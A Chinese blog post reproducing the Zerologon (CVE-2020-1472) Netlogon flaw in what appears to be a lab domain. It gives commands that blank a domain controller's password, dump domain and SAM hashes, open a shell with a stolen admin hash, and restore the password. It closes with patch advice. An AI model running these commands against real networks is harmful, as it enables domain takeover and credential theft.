- A+
所属分类:漏洞复现
0x01 简介
2020年8月11号,微软修复了Netlogon 特权提升漏洞,当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
要利用此漏洞,未通过身份验证的攻击者需要将 MS-NRPC 连接到域控制器,以获取域管理员访问权限。而2020年9月15日,secura发布了漏洞细节,之后相关的EXP也就被构造出来
0x02 漏洞原理
Netlogon使用的AES认证算法中的IV向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空
0x03 漏洞编号
1 |
CVE-2020-1472 |
0x03 影响版本
1 2 3 4 5 6 7 8 9 10 11 12 13 |
Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation) |
0x04 漏洞复现
漏洞验证
1 |
python cve-2020-1472-exploit.py WIN-DU0PH9EJFCE 192.168.100.2 |
漏洞复现
环境要求python版本再3.7以上,而且要获取最新版的Impacket,否则会产生如下报错报错(新版本中更新了我们利用中会用到的函数NetrServerPasswordSet2)
1 |
AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2' |
安装Impacket
1 2 3 |
git clone https://github.com/SecureAuthCorp/impacketcd cd impacket pip install . |
exp
1 |
git clone https://github.com/dirkjanm/CVE-2020-1472 |
置空密码
置空密码才可以读取hash
1 |
python cve-2020-1472-exploit.py WIN-DU0PH9EJFCE 192.168.100.2 |
注意:对服务器有影响,谨慎使用。
获取hash
获取域控的hash
1 |
python secretsdump.py test.com/WIN-DU0PH9EJFCE$@192.168.100.2 -just-dc -no-pass |
获取SHELL
利用wmiexec.py登录,来获取shell
1 |
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fdfbe6e620e8aa357dc1eb2ae3daca83 test.com/administrator@192.168.100.2 |
获取原HASH
获取SHELL后我们执行以下命令,导出SAM中原来的HASH
1 2 3 4 5 6 7 8 9 10 |
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save exit |
解析HASH
1 |
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL |
1 |
b930484d1c5a8745696084279410a7a1 |
恢复HASH
1 2 3 |
git clone https://github.com/risksense/zerologon cd zerologon\ python reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH> |
验证:
1 |
python secretsdump.py test.com/WIN-DU0PH9EJFCE$@192.168.100.2 -just-dc -no-pass |
0x06 工具附件
Poc
1 |
https://github.com/SecuraBV/CVE-2020-1472 |
impacket
1 |
https://github.com/SecureAuthCorp/impacket |
exp
1 |
git clone https://github.com/dirkjanm/CVE-2020-1472 |
恢复hash
1 |
https://github.com/risksense/zerologon |
0x07 修复建议
安装符合操作系统的漏洞补丁,详情请见:
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-1472
0x08 参考文章
https://www.freebuf.com/sectool/175208.html
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫